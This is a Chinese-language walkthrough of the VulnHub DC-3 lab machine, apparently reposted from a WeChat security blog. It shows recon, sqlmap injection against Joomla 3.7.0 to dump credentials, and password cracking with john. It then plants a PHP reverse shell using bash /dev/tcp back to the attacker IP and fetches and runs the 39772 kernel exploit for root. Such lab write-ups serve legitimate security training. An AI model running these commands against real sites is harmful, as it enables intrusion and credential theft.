1. 靶机下载地址
https://www.vulnhub.comentry/dc-32,312/
2. 环境说明
使用VMware Workstation 打开虚拟机,设置网络为NET模式
靶机ip:192.168.10.132
攻击ip:192.168.10.129
3. 信息收集
使用命令:arp-scan -l 发现内网中的主机
使用命令:nmap -A -p- 192.168.10.132,扫描端口和对应的详细服务信息
发现开放80端口,则可以进行网页访问。
根据nmap扫描到的信息,知道网站后台为joomla的cms系统,所以使用joomscan扫描工具进行扫描,得到joomla版本为3.7
joomscan -u http://192.168.10.132
使用searchsploit查找Joomla 3.7.0 版本存在的漏洞,发现存在一个sql注入漏洞
searchsploit Joomla 3.7.0
查看42033.txt文档,得到具体利用方法
cat /usr/share/exploitdb/exploits/php/webapps/42033
4. 漏洞利用
根据看到的注入漏洞说明,使用命令
sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
注入查询数据库有哪些,查出5个数据库信息
查询当前使用的数据库:Joomladb
sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
查询当前使用数据库的表:筛选出用户表:#__users
sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
对#_users 表进行爆破:
获取列名
sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
获取字段
sqlmap -u "http://192.168.10.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
将得到的密钥,通过vim命令建立一个文件名为hash的文件,之后使用john破解,
vim hash
John hash
得到用户名和密码:admin/snoopy
通过dirb扫描到后台目录为:http://192.168.10.132/administrator/index.php
使用注入得到的账号密码,登录成功
在Templates模版设置中,找到可编辑的php模版,在模版中添加反弹php的shell的语句,使用nc监听反弹的端口
新建1.php文件,写入
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.10.129/1234 0>&1'"); ?>
设置好监听之后,浏览器访问:192.168.10.132/templates/beez3/1.php,顺利反弹shell
内核提权漏洞
查看kernel版本:uname -a
查看linux版本:/etc/*-release
使用searchsploit搜索可利用的exp脚本
searchsploit ubuntu 16.04
靶机获取exp脚本文件
先将exp下载到kali镜像(攻击机)中
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
将下载的压缩包放到/var/www/html/文件夹下并开启http服务
python -m SimpleHTTPServer 8000
在反弹shell的情况下(攻击者连接上了靶机)输入命令将exp下载到靶机环境中
wget http://192.168.10.129:8000/39772.zip
exp利用
解压该文件
unzip 39772.zip
再解压刚刚解压出来的文件exploit.tar
tar –xvf exploit.tar
进入39772/ebpf_mapfd_doubleput_exploit 目录,运行编译文件 compile.sh
cd ebpf_mapfd_doubleput_exploit
./compile.sh
获得最终提权脚本文件doubleput
执行doubleput 文件提权成功
./doubleput
原文始发于微信公众号(CTS纵横安全实验室):DC靶机实战记录03
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论